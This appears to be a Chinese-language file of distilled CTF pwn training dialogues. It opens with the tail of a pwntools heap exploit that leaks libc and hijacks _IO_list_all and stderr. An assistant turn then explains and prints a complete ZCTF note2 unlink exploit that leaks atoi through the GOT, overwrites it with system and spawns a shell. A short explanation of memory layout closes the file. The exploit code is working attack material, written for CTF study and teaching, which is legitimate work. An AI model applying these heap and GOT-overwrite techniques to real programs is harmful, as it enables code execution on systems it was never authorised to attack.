uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc = ELF('./libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')

def add_chunk(index, size):
    sa("choice:", "1")
    sa("index:", str(index))
    sa("size:", str(size))

def delete_chunk(index):
    sa("choice:", "2")
    sa("index:", str(index))

def edit_chunk(index, content):
    sa("choice:", "3")
    sa("index:", str(index))
    sa("length:", str(len(content)))
    sa("content:", content)

def show_chunk(index):
    sa("choice:", "4")
    sa("index:", str(index))

add_chunk(0, 0x428)
add_chunk(10, 0x10)
add_chunk(1, 0x418)
add_chunk(10, 0x10)
add_chunk(2, 0x418)
add_chunk(10, 0x10)

delete_chunk(0)

add_chunk(0, 0x428)
edit_chunk(0, 'a')
show_chunk(0)

libc.address = u64(ru(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x233d61
info("libc base: " + hex(libc.address))

delete_chunk(0)
add_chunk(10, 0x500)

edit_chunk(0, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))

delete_chunk(1)

add_chunk(10, 0x200)

info("stderr: " + hex(libc.sym['stderr']))

edit_chunk(0, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
add_chunk(10, 0x200)

delete_chunk(2)
add_chunk(10, 0x300)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/unlink/2016_zctf_note2/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/unlink/2016_zctf_note2/exp_cli.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwncli import *`

函数/封装：
- `add`
- `delete`
- `edit`
- `show`

利用主题关键词：
- heap/tcache

关键常量/偏移样例：
`0x6020C8`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
#libc=ELF("/buu/64/libc-2.23.so")
libc=ELF("/glibc/2.23/amd64/lib/libc.so.6")

def add(length,name):
	ru(":")
	sl('2')
	ru(':')
	sl(str(length))
	ru(":")
	sl(name)

def edit(idx,length,name):
	ru(':')
	sl('3')
	ru(":")
	sl(str(idx))
	ru(":")
	sl(str(length))
	ru(':')
	sl(name)

def delete(idx):
	ru(":")
	sl(b"4")
	ru(":")
	sl(str(idx))

def show():
	ru(":")
	sl(b"1")

add(0x40,'aaaaaaaa')
add(0x80,'bbbbbbbb')
add(0x80,'cccccccc')

ptr = 0x6020C8  #存放chunk指针的数组在bss段上的地址
#这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)
#伪造的fake_chunk为free状态
fake_chunk = p64(0) + p64(0x41)  #fake_chunk header
fake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake_chunk fd  bk
fake_chunk += b'C'*0x20
#覆盖后一个chunk的prev_size和size
#让它的prev_size表示前一个chunk的大小，并且chunk的size改为0x90让其不会释放进入fastbins
fake_chunk += p64(0x40) # 1的presize
fake_chunk += p64(0x90) # 1的size

#进行堆溢出
edit(0,0x80,fake_chunk)
gdb.attach(io)
pause()
#释放掉chunk1，进行合并
delete(1)  #前向合并，合并0中的fake_chunk  放入 unsorted bin 中 ,同时 ptr = &itemlist0_ptr -0x18
payload = p64(0) * 2 + p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got
edit(0,0x80,payload)

show()

ru(b'0 : ')
atoi = u64(r(6).ljust(8,b'\x00'))
libc_base = atoi - libc.symbols['atoi']
print("libc_base",hex(libc_base))
system = libc_base + libc.sym['system']
#将itemlist[0]即atoi函数的got表修改为system
#通过编辑通过编辑got表指针，实现任意地址写
edit(0,8,p64(system))
#然后通过atoi进行getshell
sla('Your choice:','/bin/sh\x00')
ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「内存布局」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 内存布局

+ 32位程序经典内存布局：
  - 最高地址的 1G 内存空间属于内核空间不能使用。
  - 内核空间以下的空间属于栈，栈自顶向下增长，最大大小为 8M
  - 栈以下便是`mmap`区域，空间向上增长，和栈相对。
  - `heap`段自底向上增长。
  - 剩下的空间属于可执行文件空间，即`bss`段、`data`段、`text`段

<img src="https://cdn.nlark.com/yuque/0/2026/png/28737143/1772615960698-c4298115-a1a9-4cf8-945a-fdcbf169868f.png?x-oss-process=image%2Fformat%2Cwebp" alt="Pasted image 20241105124201.png" style="zoom:50%;" />

+ 64位程序经典内存布局：
  - 最高地址的 128TB 内存空间属于内核空间不能使用。
  - 内核空间以下的空间属于栈，栈自顶向下增长，最大大小为 8M
  - 栈以下便是`mmap`区域，空间向上增长，和栈相对。
  - `heap`段自底向上增长。
  - 剩下的空间属于可执行文件空间，即`bss`段、`data`段、`text`段

[图片: 20240630112911.png]